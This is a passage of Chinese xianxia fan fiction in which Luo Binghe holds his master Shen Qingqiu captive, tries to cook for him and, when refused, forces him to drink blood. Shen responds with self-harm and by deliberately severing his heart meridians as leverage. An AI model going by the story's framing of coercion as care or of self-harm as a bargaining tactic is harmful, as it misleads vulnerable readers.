出乎意料的,洛冰河并没有拦着他。就像是,故意放他走一样。 敌人怎么会如此好心? 沈清秋推开门后,看着与后山如出一辙的竹林、水井、练武场时,一种恍然如梦的错觉,从脑海深处涌出。令他忍不住眼神摇晃,嘴里忍不住要喊一句:‘明帆’‘嘤嘤’。 人是一种情感动物,他会在看到相似的场景、相像的性格与举动时,第一时间联想到属于自己的过往曾经。 然后,一种专属于时光流逝、故人远走的孤寂会猛然间敲打在游人的心头,用空无一人的现实告知他:热闹总是一时的,能陪伴他的,唯有自己的影子。 所谓‘形单影只’,便是当故地重游时,曾经在此地的人与物皆已远走。 依旧完整秀美的风景,与断墙残瓦、墓碑林立,并没有什么区别。 沈清秋猛然扭头回望,身着弟子服的冰哥,正一脸恭敬文雅的看着他。像极了最得师傅喜爱的弟子,默默陪在回忆往昔的师傅身边,不言不语、不打扰。 “洛冰河!”沈清秋忍不住喊出声来:“什么时候了!” “大概,是所有故事都落幕的时候吧。”冰哥的回答很讨巧,虽不曾给出具体时间,却精准回答了沈清秋想要知道的信息。 “原来...已经这么久了。” “物是人非,最后,竟只留我一个。” 沈清秋的身形微动,最后有些无力的靠在门侧,打量着自己的右手:“故事都结束了,我活着,能做什么呢。” 接着,他用右手伸向挂在空中的金乌,像是想抓住回忆的最后一点尾巴:“只剩我,一个人。” 冰哥静静的看着难得展现脆弱的沈清秋,心中不知该悲该喜;酸涩与甜蜜涌起,令他有些喉头涌动。 他像是个偷摸获得糖果的孩子,紧紧的捏着糖果,紧盯着在手心融化的糯米纸,却不知要如何才能将糖果更好的保存起来。 “就这样脆弱下去吧。” 一切都尘埃落定,我与你之间的恩怨情仇都不再有意义。我不再执着于报复你,你也不曾被我折磨得身与形俱灭。 此刻,便是他们能达到的、最好的结局。 第二章吃饭,是顶重要的事情 “师尊!”青年脚底生风,出现在沈清秋面前,手中捧着一株千年赤阳草。 沈清秋用毫无波动的眸子看着将奇珍奉到自己面前的青年,青年衣衫破烂,充满了打斗与尘土草根的痕迹,即便是强如世间第一人,也没办法随便吩咐一声就什么都得到。 当然,最重要的原因,是他故意将自己搞成如此狼狈的样子,只想换得对方一句“辛苦了”,或者...“真弱。” 可惜,在沈清秋眼中,青年远不如手中的武器有趣,他只是漠然的扫了一眼,继续练武。 自清醒后,他的体内一直存在着一股极为贪婪、阴冷的气息,这股气息无法被排出,也无法压制。他的根基早在(打斗)沉睡中被彻底毁损,体质也虚弱糟糕到了极点。 最重要的是,所有吸入身体的灵气,皆会被那股气息所吞噬。 无论是通过灵物、灵石的补充,还是常规修炼得来的灵息,都没办法抵抗那股气息的侵染。 甚至于,这股阴冷的气息还经常于半夜‘爆发’,令他从骨头缝里发出寒意;除非冰哥出手,几乎难以压制。 很难说,这股气息是不是洛冰河的‘杰作’。但不可否认的是,甭管是不是他的原因,冰哥为他四处寻找天灵地宝、半夜帮他压制的举动,还是令沈清秋对他的态度,有了一丝的软化。 出于魔尊的占有欲,冰哥并没有在院落里设置仆从(当然,万一仆从被渗透什么的,也很麻烦);但是沈清秋灵力全失、还不信邪非要练剑的情况下,他是个需要进食的凡人。 虽天魔之血能维持性命,但不能让人不饿。人活着,总是要补充营养,正常进食的。 由于沈清秋体内的古怪阴气作祟,辟谷丹、各种灵物之类的,还没等沈清秋吸收,他体内的那股气息就给吸收了。导致他除了像凡尘一般做饭进食,竟无法解决‘饿肚子’这么简单的问题。 —— 傍晚。沈清秋从旁边折下一根芥草,拆去两边的杂叶后,手指轻巧一拨,草杆便朝向水中射去,直中鱼腹。(短视频有教程,这个是真实可信的) 拿出火折子,生火,烤鱼。 当然,沈清秋的做饭水平,仅限于把东西烤熟。 至于鳞片要不要刮掉,鱼鳃是那个位置,鱼腹里面哪些能吃、哪些要扔,他是不清楚的。 当乞丐时,有的吃就行了,自然是哪里都舍不得扔;成年后自有人将饭食送上,谁会去研究菜肴如何制作? 以至于,当冰哥从沈清秋手中夺去一只烤鱼,咬上一口的时候——他开始怀疑,这个人是不是在故意投毒? 但是吧。冰哥仔细的看了眼沈清秋的表情,虽然沈清秋的脸色极为紧绷看不出来什么,可就凭他‘慢条斯理’的撕扯、小口的‘细嚼慢咽’、以及浑身散发出的烦闷气息,冰哥懂了—— 这家伙是真的不会做饭,而且是自己做的饭连自己都吃不下的那种。 见此,冰哥将明显散发着异味的烤鱼又咬了一口:嗯,味道很腥。内脏……大概没处理;鱼鳞,显然也是没有刮干净;鱼鳃……算了还是别想了,这个更不可能被去掉。 …… 沈清秋的生活技能,不能说没有,只能说‘能活’。 而且,非常的不挑剔,就算是烤鱼烧得漆黑,内里全是刺,内脏和鱼鳃没去导致满嘴腥味——他依然能面无表情的吃下去。 虽然浑身散发着如同实质的怨念,但谁能说他没吃呢!只是吃的非常缓慢,而且时不时会主动看一眼冰哥的那种! 冰哥表示,就凭沈清秋主动看他,这个烤鱼,他也能吃! 只是吧,他觉得他的心理素质和肠胃都还不够的强大。就沈清秋这个做饭水平,多吃两顿必然会练就‘钢铁’般的意志,挨饿三天都能忍受的那种! 没办法,冰哥也不会做饭啊。他唯一会的还是熬粥,其他时间要么是后宫美人会为他准备色香味齐全的美味佳肴,要么是直接啃无色无味的辟谷丹闭关修炼,谁会去研究下厨这种事情? 欸不是,冰妹是不是会做饭来着? 冰哥看着主动看向自己的沈清秋,好像get到了什么快速通关的办法,果断将手中漆黑的烤鱼收到储物戒中,转身往厨房走去。 期间,偷偷摸摸的将烤鱼丢在了院落之外,就当是发善心喂流浪狗吧,他是真的宁愿啃辟谷丹。 —— 沈清秋原本在打坐调息,却忽然闻到极重的烟火味,以及‘劈里啪啦’的炸药声。看了眼房屋的木质结构,他决定即刻出去避难—— 鬼知道是不是有人放火,这些木头可不经烧。难不成指望他一个‘凡人’,能凭自己逃离火海,还是能召唤水龙灭火? 只是,当他出门的时候,却发现,冰哥似乎在,炼丹? 就是吧,这个炼丹炉,看起来,有点像是从厨房里弄出来的(短视频有实例,新手炸厨房很多)。而厨房,早在火海和水雾中,成了一团灰烬。 冰哥兴致冲冲的捧着一碗看起来灰白相间的玩意朝沈清秋走来,看样子,是准备递给他??? 沈清秋想也不想的立刻进屋,将门凹上,又将窗户全部关紧锁上。 嗯,没用。 这等东西,防君子不防小人。冰哥都将沈清秋当成自己后宫了,哪里会在乎关门勿扰、非礼勿视之类的禁忌? 沈清秋眼皮跳了一下,头皮有些抽搐的看着面前这碗...夹杂着不少烟灰的,白粥?他认真的看了眼冰哥,再次确认:“我不饿。” 冰哥不信,并且跃跃欲试:“师尊尝尝,弟子熬了两个时辰呢。” 沈清秋:大可不必。 冰哥看着死活不动碗筷的沈清秋,眉头紧皱,心里涌出一股失落和不悦来。他决定主动一些,不能任由沈清秋这般抗拒。 于是,他大步流星的走到沈清秋身边,左手压住转身欲离开的沈清秋,紧紧地按在他的肩膀上,将他钉在座位上。右手端起瓷碗,就准备朝沈清秋嘴里倒。 麻袋,这是什么人间酷刑。沈清秋做饭已经很难吃了,但起码是能吃。 冰哥做饭炸了厨房不说,连米粥都能熬成丹药,实在让人不敢恭维。这其中的烟灰甚至将米粒都染成了灰黑色,吃了别说补充营养,不拉到虚脱,都亏了他如此大的动作! 沈清秋双手抬起做交叉抵抗状,紧紧地抵着碗边,试图将碗推开。上身努力向后倾,坚决拒绝冰哥的‘投喂’。 看着如此不配合的‘沈清秋’,冰哥的眼底开始泛起不满来。他加大了手上的力度,试图将碗强行塞进沈清秋的嘴里。 为了自己的小命着想,沈清秋甚至爆发出能抵抗冰哥单手压制的潜能。肩膀猛地向后一缩,整个人快速从座位上站起来,趁冰哥怔愣之际,一掌将白粥掀翻。 !!! “沈,清,秋!” 冰哥怒了,他辛苦熬了两个多小时的米粥,竟这么让他倒掉了! 沈清秋先是心虚了一瞬,转而理直气壮:“想杀我,何必投毒!” 嗯。双方做的饭,都让对方认为在投毒。 冰哥是个很好学的人,当他认定一件事需要去尝试的时候,会花不少功夫来研究。而今,他既然发觉了‘捷径’是烹饪之法,就会将心神放到这里。 从挑选食材到掌握火候,从摘洗蔬菜到精细刀工,每一个环节他都用心去尝试和改进。 只是,大概是那碗白粥实在是吓到了沈清秋,沈清秋宁可吃自己烤成黑炭、散发异味的烤鱼、烤鸡、烤兔子,也坚决不吃冰哥努力整治的‘佳肴’。 但是。冰哥本身是可以啃辟谷丹的,他完全不必为了食物而费神……现在跟个厨子似的在灶台忙来忙去,不就是为了饲养沈清秋吗! 这不知好歹的玩意儿,宁可去吃他烤成焦炭、几乎除了苦味啥也没味道的东西;也不吃自己辛辛苦苦、反复试验了那么多次的美味佳肴!咋的,天天吃烧烤,就不怕上火吗? 冰哥又一次将饭菜端到桃树下,将一旁生火的沈清秋拽到茶桌上,眼神期待又自豪:“师尊,弟子厨艺大有进展,您做饭实在是难以下咽,还是吃点正常的吧。” “……” 沈清秋看着那桌饭菜,沉默不语。 他宁可天天啃生菜、晾腊肉、烤鱼烤兔,都比‘洛冰河说他厨艺了得’靠谱许多。 沈清秋坚决拒绝,并且跟没用灵力、魔气的冰哥打了一架,成功把菜肴全部砸到地上。将冰哥气的火冒三丈,收拾完桌椅后,径直消失了。 啊,真是个好消息。沈清秋极为轻松快活的回屋练字,享受难得的独处时光。 只是,到了太阳落山,他发现了另一件事。 院落里面,别说后山里的兔子,仓库里能正常食用的菌菇和青菜,就连池塘里的鱼都看不见一只! “……” 沈清秋看着桃树下重新被摆出的几道糕酥,还有几道勉强能看、色香俱全、味不知道怎么样的菜肴,仔细想了想,觉得他其实并不饿。 直到第二天,仓库依旧空空如也,池塘里依旧是一只鱼也看不见。 旁边的桃树下,明显又是一桌与昨日截然不同的菜肴。 “……” 第三天。 第四天。 第五天。 冰哥看着自己都将‘食材’收起来,却始终没人动的菜肴,心中不知是该怒还是该笑。某种无奈和愤慨夹杂于心中,令他有些难以持续下去。 五天了,庭院内连鸟都不曾飞过一只。他决定去看看沈清秋饿死没有。 —— 啊,看他发现了什么。 沈清秋可真是聪明啊,他直接划开自己的手腕,喝自己的血以压制饥饿感。 冰哥做的饭菜是有毒吗!竟让他嫌弃至此!当他断掉食材供应后,竟然连这等法子都能想出,却始终不愿意尝试他辛苦做的饭菜?! 一股难以描述的冲动‘彭’的一下涌上冰哥的头顶。他一脚将门踹开,不顾沈清秋惊诧的眼神,直接用一只手揽住对方的后脑勺,另一只手划开手腕,强势的将天魔血灌入沈清秋口中。 ‘咳咳……’沈清秋被洛冰河粗暴的动作直接呛到,灼热而滚烫的血液刺的他喉咙一阵刺痛。可他又无法快速挣脱,只能手肘屈起,以抵抗冰哥手腕的下压动作。 冰哥轻易地抓住了他反抗的手碗,压下突如其来对下三路发起进攻的腿。 “师尊。”冰哥生气了,甚至有些懊恼。他的眼神中闪烁着怒火,还有一丝幸亏早早发现的庆幸。沈清秋宁可用这种方式维持生命,也坚决不吃他精心准备的菜肴,是真觉得他能靠这些小聪明抵抗? 既然无法怀柔与温暖,这个不知好歹的家伙,就干脆霸王硬上弓好了。不吃软,那就硬来吧。 反正有天魔血在,对方也死不掉。至于灵魂与性格,谁让他运气不好,他都退让成这样了,对方依旧不肯赏个笑脸? 若是他肯稍微服个软,或者略微表个态,让冰哥觉得这法子能行,无非是伪装得时间长一点,温水的时候柴添的少一点,冰哥也愿意‘等’。 可惜,此‘沈清秋’非彼‘沈清秋’,怀柔与温和对他无用。冰哥都为了他天天搞的灰头土脸,又是四处采药又是下厨做饭,却还是不得其欢心。 那么,就干脆来硬的吧。 “师尊。”冰哥眼神危险的看着已沦为凡人、无法挣脱的猎物,决定再做一次尝试:“是喝弟子的血,还是吃弟子做的饭?” “……” 这两种选择,沈清秋都不想选。明明洛冰河找一个会做饭的厨子就能解决,搞什么苦大仇深、一脸被辜负的模样? “看来师尊是拒绝了。”冰哥用力捏住沈清秋刚才‘割腕’的手,拇指稍加施力,刚刚愈合的伤口即刻被撕裂,不再流淌的鲜血随之流出。 他将沈清秋的手腕放到自己嘴边,牙齿用力的咬破皮肉,重重的吮吸着流速并不算快的血液。 ‘嘶——’沈清秋看着冰哥额头亮起的血红色痕迹,心里突然怕了。 他不怕死,但害怕不体面的死。 他不怕疼,但怕纯粹的疼痛折磨。 无论是鲜血流尽而死,还是招惹疯子被撕碎,都是极其不体面且疼痛的。 尤其是对方明显已经魔疯,谁晓得他下次睁眼的时候,是转世投胎成了婴孩,还是又一次沉睡清醒? 虽说他已经没什么可失去、所以不存在害怕。可谁愿意跟疯子待一块?万一真将他惹怒,发生什么无法预料的事情,简直不要太恐怖! 他只是放血求生,不是割腕求死!眼前这个疯子,是真的想让他以这种‘血脉流尽’的方式死亡吗! 随着时间和血液的流失,离开身体的鲜血仿佛将体表温度也带走。失血带来的虚弱感将沈清秋包围,体内安分许久的阴冷气息蠢蠢欲动,散发出彻骨的寒意。 他的身体开始失温,眼前一切蒙上一层雾蒙蒙的灰暗,直到某个时刻,连端正的坐姿都无法维持,软绵绵的向后倒去。 即将陷入昏迷时,沈清秋的耳边传来一句不知是感叹还是承诺的话语:“你我血脉相连,我不会让你死的。” 第三章无非是以死验证一个猜测而已 沈清秋再次睁眼,果不其然的还是自己的身躯,并没有转世投胎。 体内那股阴冷的气息已被压制,肠胃的饥饿感也被压下。就连因失血而引起的虚弱无力、皮肤苍白也被缓解治愈,整个人看起来健康极了,一点也不像长久卧床、没事就昏迷的人。 看来,对方并不想让他死。 “师尊。”阴魂不散的声音传来,更加令人厌恶的是又出现在沈清秋视线中的白粥。 沈清秋:“...”白粥白粥,劳资看见白粥就犯怵,滚远点! 冰哥右手伸出,虚虚拢着沈清秋的后脑勺,左手稳稳的托住碗底。整个动作极其快速流畅,就跟灌药似的,整个一‘蓄势待发’。只要沈清秋说半个‘不’字,立马就施行‘灌药服务’。 “......” 虽然这碗白粥看起来晶莹剔透、黏稠得当,是能入口并且吃不死人的。 但沈清秋对于‘白粥’实在是条件反射般的厌恶,坚决不可能喝的! 只是,对方看起来也很警惕,左手手指抓得极紧,绝不可能被沈清秋一抬手或者信手掀翻。 emmm,怎么搞? 沈清秋掀起眼皮,略微看了冰哥一眼。发现这玩意满脸写着‘期待’与‘谨慎’,像是想亲近他,又害怕被他砍杀踹打;想将手上东西进献给他,又害怕他直接不喜摔碎。 呃,这种复杂又肤浅的情愫聚集在一起,还挺... 与自身气质不符的。 冰哥本身的气质,是一种唯我独尊、劳资最强的牛批冲冲。着玄黄或墨黑这种衣物,配上各种复杂珍稀的配饰,妥妥一个世间掌权者,世界第一人。 但现在。却穿着苍穹山批量制作的弟子服,以额前碎发遮掩那双极具攻击力和威严感的眼睛,又幻化为一脸稚嫩、脸部线条都不曾硬朗化的少年。 整个人,充满了威严的中年灵魂、稚嫩的少年身躯、本性傲然暴躁却强行装温柔的违和感。 沈清秋不知道冰哥玩什么花样,也不知道到底是什么样的奇葩才能将冰哥改成这副样子。 但,这根本与他无关。 他只是个被擒来的俘虏而已,还能指望他去认真探寻捉拿他之人的想法不成? 即便是洛冰河告诉他‘一切已尘埃落尽’,‘爱恨立场都没有意义’,难道他能因为过往已逝,真的随便笑一笑,就把自己的记忆跟删除格式化似的,随便抹去? “师尊?”少年微微侧头,眼含不解:“弟子每隔半个时辰重新熬一锅粥,每锅粥都以小火煨着,浓稠适宜、咸甜正好,您试一下?” “......”沈清秋将四散的思绪收回,视线放到眼前的粥上。 米粒分明、汤汁清澈,期间点缀着葱花和切得极碎的肉粒。白雾般的蒸汽随冰哥的动作朝他迎面扑来,食材的鲜活滋味萦绕于鼻翼,是一道极为精心的佳肴。 看得出来,比一开始的掺杂烟灰、几乎看不出原材料的菜肴,要上升了几个档次。 要么是冰哥学习能力极佳,要么是对方确实下了大功夫去修习琢磨。 但—— 这样的违和感就更重了。 身上能无意间流露出‘世间无我这般人’霸气的人,他不会做饭,是理所应当。他做饭,是为了‘赏赐与彰显仁慈亲近’。 可他却在极短的时间从‘炸厨房’到‘能摆个满汉全席’,这其中,必有不为人知的‘转变’。 总觉得,是哪里被人忽略了。 而这其中的‘转变原因’,值得深究。 沈清秋抬眼瞥了冰哥一眼,在他满怀期待的视线中,伸手,从冰哥手中将碗接了过来。 大概是他‘主动接过’的动作让对方有些怔愣和不可思议,对方的手依旧抓的极紧,在沈清秋拽了一下之后,才‘如梦初醒’般迅速松开。 继而,沈清秋看到对方的脸上出现一抹极适配、对方刻意变幻为少年模样的,娇羞与满足? “???” 这抹红晕实在是过于适合这张年轻的脸。 就好像是,真正的,不被关注的少年得到了长辈的夸奖,忍不住羞红脸的同时,献上自己的恭顺与尊敬。 “.......” 但是。冰哥的年龄与性格,是绝不可能做出这种动作的。 即便他平日里用少年的模样面对沈清秋,但眼底的戏弄,偶然闪过的恶意与快意,都是遮掩不住的。 所以,必然有什么东西,是在其中被掩盖掉了。而这个,就是‘洛冰河’转变如此之大,如此不同寻常的原因。 思绪千转万回,沈清秋看着对方如同赤子般的‘希冀’,心底猛地一毛。 如果他真的是个‘慈师’,或给他送饭的是寻常弟子,他或许就接下对方的‘好意’。 可,他对面之人。 首先必然不是寻常的清静峰弟子,其次还是害他陷入这般境地的罪魁祸首,最后,他貌似还有什么‘别的情愫’存在。 指不定在这人的心中,就存在着什么:“他接受我送的礼物,一定是同意的!他吃我熬的粥,一定是满意的!他看我了,一定是喜爱我的!”等近乎离谱的逻辑。 emmmm... 沈清秋手中微微改换动作,接着,右手将装有白粥的碗,飞快的砸向地面。 同时,快速翻身而起,侧身从冰哥身边向门外奔去。 “.......” 死一般的寂静笼罩在屋内。连空气,都像是被凝结成了冰霜,气压沉重。 “师尊。您又不乖了。” 极具危险的话语自带回音效果,体内阴冷的气息猛然被激活,沈清秋一瞬间手脚冰凉,恐惧从后背疯狂攀爬。大脑与躯干的连接似乎被断掉,即便他拼命调动内劲,却还是无法动弹。 他的脸被强行掰正,下巴被人以三根手指紧紧禁锢着。眼前之人的额头鲜红发黑,眼眶被血色浸染,即刻就要发疯。 沈清秋不顾身躯的沉重,尽可能将自己的头颅一点点退后,努力挣脱对方的掌控。轻微的一声响动,浓重血腥味迎面而来。他看着自己面前逐渐暗沉下去的光线,以及猛然压下的黑雾,心跳加速。 “既然师尊不愿意吃饭,弟子总是不能让您饿死的。” 黑漆漆的浓重阴影下,那双猩红的眼和额头犹如岩浆般滚动的印记,是看一眼就能心生无边恐惧之物。 大量的血液从对方手腕涌出,而对方的手,正以割破空气的速度朝自己嘴边扑来。 毫无疑问,沈清秋的‘砸碗、掀桌子’,对方并不认可,并且打算强硬动手。 ———— “这才对啊。”沈清秋看着越发危险的处境,心里却突然从容起来。 搞什么温情的表象,真以为换一张少年的脸就能跟真正的少年一样青葱明朗了? 心底是肮脏的人,一举一动都带着腐烂污泥的味道。既然不是莲花,就别指望‘出淤泥而不染’。 装的恭敬温良,实际上却完全不允许对方拒绝。 骨子里的掠夺被‘希冀、诚恳’的假想所掩住,却依旧从各种禁忌中被‘触发’—— 就像是无处不在的毒气一样。即便它隐匿于空气之中,不被察觉。 却依旧会无时无刻的不在吞噬一切生命。 沈清秋努力压制急速跳动的心脏,猛咬一口舌尖,以精血破除无法动弹的禁制,右手食指与中指并起,快速朝心脉点去。 他已清楚,对方一定是心中有了什么类似于‘执念’的东西。而这个东西,需要通过‘沈清秋的温柔与接纳’来实现与弥补。 那么。 既然‘你’想通过‘我’来弥补‘自己的残缺’,就老实在我面前低服卖小,‘求’我‘赐予’你那一丝可怜的‘怜悯’吧! 如若不然,当‘沈清秋’失去‘向下赏赐’的心里占位后,只怕是要立刻被打入深渊,求死不能。 身居上位之人,地位和权势会为他附上光芒,杜绝任何窥探视线。 可当他被拉下神坛,他的容貌、身躯、性情、作风等一切都会被人评头论足。 更有甚者,玷污高岭之花、使纯白沾染墨迹,看天真者被仇恨驱使、单纯者深陷阴谋诡计、光明者与黑暗为伍—— 人性啊。本就如此。卑劣。 ———— 就在冰哥的手腕即将贴在沈清秋嘴边的时刻,沈清秋已面带微笑的自断心脉。 我已出招, 洛冰河,你是想将‘我’救活,还是干脆结束游戏? 至于如果对方选择‘不医治、任他死亡’。 反正他都死掉了。 对方爱怎么样就怎么样,一具空壳而已。 敌人哪怕是要挫骨扬灰的毁灭一切、还是与马上会腐烂的躯体恩恩爱爱。 又与沈清秋何干? 第四章他山之石,可以凿玉 沈清秋意识不甚清醒,感觉自己身处于一片黑暗。四肢有些虚弱无力,眼皮沉重。隐约能听到外界有人走动的声音,不似迎接新生儿的欢喜与热闹,更像是……针对久病之人的无奈与感伤。 ‘毁去心脉,亦无法解脱?’ 听起来简直是个令人沮丧又无言以对的事实。 若是一个人连‘死亡’的资格都失去了,他能留下的,是什么呢? 他的性命不被自己掌握,生死要看他人眼色,是不是太憋屈了些? 人想要摆脱不幸,需要认知自己的不幸。 沈清秋其实是不惧怕过往的。 不仅是过往已逝,更是因为他已经爬过那座山、走过那条道。 人对于已经完成的事物,其实并没有那么重视和惧怕。 人的恐惧源于未知。 人的厌恶源于无法解决。 当一个人拥有能够轻松解决所遇问题的能力时,他做什么都是‘信手拈来’,怎么样都能‘心平气和’。 只有他知识储备不足、从未遇见过相似的事情。不知道要如何去处理后续、如何安抚众人、如何找到破局点的时候,人才会紧张、恐惧、慌乱不已。 但很巧的一件事。 沈清秋所在的,是修真界第一大派。 他所在的分支,是几乎藏尽天下书籍的清静峰。 他的记忆并不依靠灵力和修炼,本身就可以‘过目不忘’。 是的,他现在是一个无法死去、又没有力量的人。 是一个被人软禁在院落,无力逃脱的凡人。 可,当他一无所有的时候。 不惧死亡的魄力,与悍不畏死、忍耐痛苦的毅力,就是他的力量。 而头脑中存储的各种知识,以及不耐其烦的反复试验与研究,就是他破局的利器。 当然,还有很重要的一点。 他通过之前的反复试探,已经发觉了可以将对方打入谷底的方式。 就像是之前所言,对方心中一定存在类似于‘执念’的东西。而这个东西,需要通过‘沈清秋的温柔与接纳’来实现与弥补。 只有这样,才能解释冰哥那几乎自相矛盾的行为。 一边不想让他死,装得恭敬温良,换取与沈清秋和平相处;一边却又压制不住狠毒的内在,当沈清秋稍微‘犯忌讳’就产生不满,并直接出手想弄死他。 当然,为了验证这个‘猜测’,他‘死’了好几次。 第一次是初见面时,为拒绝对方的‘求爱’而动用禁术,互杀而亡;第二次是拒绝对方的‘投喂’,被对方灌魔族血互相冲撞而死;第三次是隐有猜想、自己断绝心脉。 结果不错,他的猜想,十有八九是真。 若是如此—— 沈清秋大可端坐棋手位,将自己死不掉的性命丢入棋盘中,以身入局,赌自己能逆境翻盘。 毕竟。 人就是这样挣扎求生的生物。 即便处于绝对的劣势下,依旧会拒绝敌人的怀柔政策,打掉敌人递来的美味佳肴、热汤暖衣,坚定的为了那一点点不屈的信念苟延残喘,向敌人挥刀。 而他要做的事,无非是以丢掉修为的凡人之躯,比肩修真者,斩杀世间第一人。 ———— 沈清秋仔细思考了一下局势和已知信息。 当他心存死志,拼命厮杀的时候。 对方会跟他对打,期间可能会‘放水’,但最后却又会将他死死捏在手里。只等他濒死或昏迷之后,将他‘救活’。 当他尽可能收敛厌恶,与对方和平共处的时候。 对方也会对应的减少武力压迫,但会一点点试探并逐步蚕食他的生活空间,试图改变他的生活习惯。 当他明确表示厌恶,甚至直接全盘拒绝,硬刚的时候。 对方会比他还暴怒,以绝对的武力压制,用常人意想不到的方式,逼他就范。 总而言之,是一个吃软不吃硬的敌人。 对于这种人……怀柔和伪装确实能应对。 但。 其一,沈清秋实在不是什么性格温柔之人,展现出‘平和待人’,收敛眼中的厌恶与反感,已是他对敌人能做到的极限。 其二,对方也不是那种吃点糖衣炮弹就能解决的人。若是沈清秋当真温柔以待,只会被一退在退,终究被吃干抹净,骨头渣子都留不下。 那么。示弱是有必要的,可以令敌人放松警惕;最重要的是,当他示弱的时候,对方也会相对应的解除武力压制。有利于他之后出其不意的逃跑。 但示弱必须要有个度。 否则只要他展现一丝软弱,对方就会像是闻到腥味的鲨鱼、看见肉骨头的狗一样,直接将‘脆弱猎物’撕咬入腹。就像是那只黔驴技穷的可悲畜生一样,最终的结果,就是沦为白骨与养料。 当然了,经过‘白粥’试探后,有一件对他而言很有利的事情: ‘对方比自己都怕他死去’。 甭管是一开始的对打昏迷许久后醒来;还是拒绝喝他那碗满是烟灰的白粥后被灌血、吸血昏倒;亦或是他再次拒绝后为了防止被灌血而干脆自绝心脉。 每次的结局,都是对方会想方设法将他‘救活’。 挺好的,这条隐藏线索简直不要太有用。 虽然他不怕死,不怕痛。 但身为一个正常人,如果他的‘死亡’能带给他意外之喜,必然是件最好的回馈。 如果他忍受疼痛后能换回自己想要的结果,那这疼痛和憋闷,只是成功前的隐忍。 当他掌握了这一点之后——虽然濒死的是他,疼痛与面临思考的恐惧者是他。 但,最后被威胁到的,却是对方。 这么说好像有些莫名其妙,他的‘死不掉’,竟成了威胁敌人的武器。 但这些不重要。 鬼知道敌人莫名其妙的得了什么病,居然费尽心血也要让他活下去。 既然对方主动将把柄送上,他利用,又如何? 他山之石,可以凿玉。 甭管是什么武器,只要被他拿捏在手里了,就是杀敌之利器。 结合之前分析的情况,沈清秋决定将自己这条‘对方不愿意让他死去的性命’放上天平,去试探对方能做到什么程度。 当然,还有几点,要万分注意: 第一,他不能和疯子同频思考,所以尽量不要激怒对方。以防对方发疯,事情无法缓解。不要过度接触,也不要反对太快,尽可能平和的解决事情。 第二,不能退缩或展示恐惧。一步退、步步退。将自己的恐慌展示出来,对方会拿捏住他所害怕的东西,一直使用。 第三,要稍微的示弱。比如展示自己是个无力脆弱的凡人,最大程度的让对方放松警惕。以凡人之力,定然不能比过修真者,所以他要尽可能让对方‘舍弃’灵力与魔力,也以最基础的招数与他对打。 第四,偶尔的反抗与甜头。满足对方猫戏老鼠的恶趣味,以及某些期待。对方只要不越线,说什么‘心悦’与‘同床共枕’,尽可能将他当成平级或前辈对待。 总而言之,就是以‘普通’人的相处方式与对方相处,尽可能小心的拿捏着双方之间的关系与距离。 在对方不过火的情况下尽可能平和的应对,但对方若是莫名其妙发疯,就要比对方更快下手—— 第五章看不清的局势之中,谁在算计谁 沈清秋再次睁眼,看见如上次一样,右手空出准备揽他脑袋,左手控着一碗白粥,时刻想‘灌’他喝粥的洛冰河。 三次了。 第一次,沈清秋直接掀翻,对方生气后神隐;第二次,沈清秋从他手里接过并砸碎,结果,嗯,不提也罢。 这次…… 像是想到了什么,沈清秋不顾刚清醒还有些虚弱的身躯,直接坐起来,用左胳膊挡住对方的动作。面无表情,双眼平静的看着洛冰河,另一只手并起剑指,直抵太阳穴。 他已推断出对方不想让他死。 那么,在‘不能让他死’和‘要让对方听话’之间,洛冰河会如何选? 冰哥看着刚清醒就如此抗拒的沈清秋,眼神不善。但他还是尽可能温柔的展示自己的体贴:“师尊不喜欢喝粥?” 沈清秋眼里闪过一丝了然,他既已知道对方不想让他死,而洛冰河也不曾遮掩这一点,自然要直接拿来用。 被修剪的极为圆润的指甲,用力搓穿包裹着穴位的那层脸皮,流出鲜血来:“你不如直接杀了我。” 冰哥看着面色冷淡、动作果决、敢以死威胁自己的人,双眼微眯。只觉得面前这个‘沈清秋’还是被他养的太好了,换成牢里那个…… 算了。牢里那个战败者,他也没兴趣陪他玩这种无聊的游戏。 冰哥直接将米粥放下,径直划开手腕,疯狂涌动着动脉血的手腕直接向沈清秋压去:“弟子怎么能……” 很好,洛冰河不会让他死,但也容不得‘沈清秋’拒绝。 只是,既然‘米粥’能放下,‘血液’自然也可以。 沈清秋眼里闪过极为复杂的光芒,左手一个云手挽过,化解冰哥直扑过来的手臂:“不喝(血)。” 说着,他也不管冰哥的反应,直接推开对方阻拦的手臂,兀自将鞋袜穿戴整齐,从衣柜认真选出一件外衫,仔仔细细的穿戴整齐。 而这期间,冰哥就那么看着他。静静的任手腕血液流淌到地上,没有任何动作。 沈清秋整理妥善后,又换到另一边选了枚暖玉,佩戴在腰间。接着悠然的端坐于铜镜前,为自己束发带冠。 通过铜镜的反射,他能看到‘乖巧’的冰哥,将手腕的血迹抹去,重新布了一桌清淡雅致的菜肴,并专门在主位放置了一碗适合久病之人食用的鸡汤面。 “呵。”沈清秋从桌面摸出一把折扇,悠然落座。 冰哥给沈清秋将茶水沏好,将杯子推过去:“师尊既然不想喝粥,那就用点鸡汤面。久病卧床之人,用不得油腻之物,您先将就一下。” 沈清秋随意挥手,认真的用银针试过所有菜肴;又看着冰哥将每道菜都吃了一口,才用试毒的态度,小心翼翼的取了一筷。 “.......”这也太过了啊。 沈清秋能明显感觉到冰哥的无语,甚至看到对方还无奈的耸了耸肩膀,一副‘拿你没办法’的样子,将每道菜的边角都吃了一口。 毕竟,这也算是,对方炸厨房之后,沈清秋第一次品尝对方的手艺。 味道不错,如果对面没人会更好。 沈清秋用茶水漱口,拿出一本书坐在窗边,侧头瞥了冰哥一眼,示意对方赶紧滚。 冰哥接收到对方的眼色,看着床边冷掉的白粥,饭桌上几乎没被动过的菜肴,以及旁边端正坐着,一副岁月静好模样的某人。 只觉得对方总算是学乖了。 虽然不如他想象中那样,但起码,不会如一开始一般激烈反抗了。 挺好的,‘调’‘教’初见成效,冰哥很满意。 ———— 看着冰哥终于离开,连背影都透露着轻快。沈清秋长长的松了口气,暗自提着的心终于放下了。 结合之前的猜测,与刚刚‘步步惊心’的局势,他大致能确定两点: 第一,对方不舍得让他死。 第二,对方不会拒绝他略微的示好。甚至不仅不会反对,还会轻巧的笑笑并遵从。 就像是他同样推开了对方的手。 上一次选择转身就走,被对方压制,逼得自绝心脉; 这次选择去收拾自己,陪对方用饭。对方不仅没有立刻阻止他,甚至还‘走的很开心’。 那么,是否说明—— 反抗与拒绝,并不会直接激发对方的‘反感与暴虐’? 或者说。 只要他没有拒绝之后立刻展示‘要离开’的态度,对方就愿意陪他玩下去? 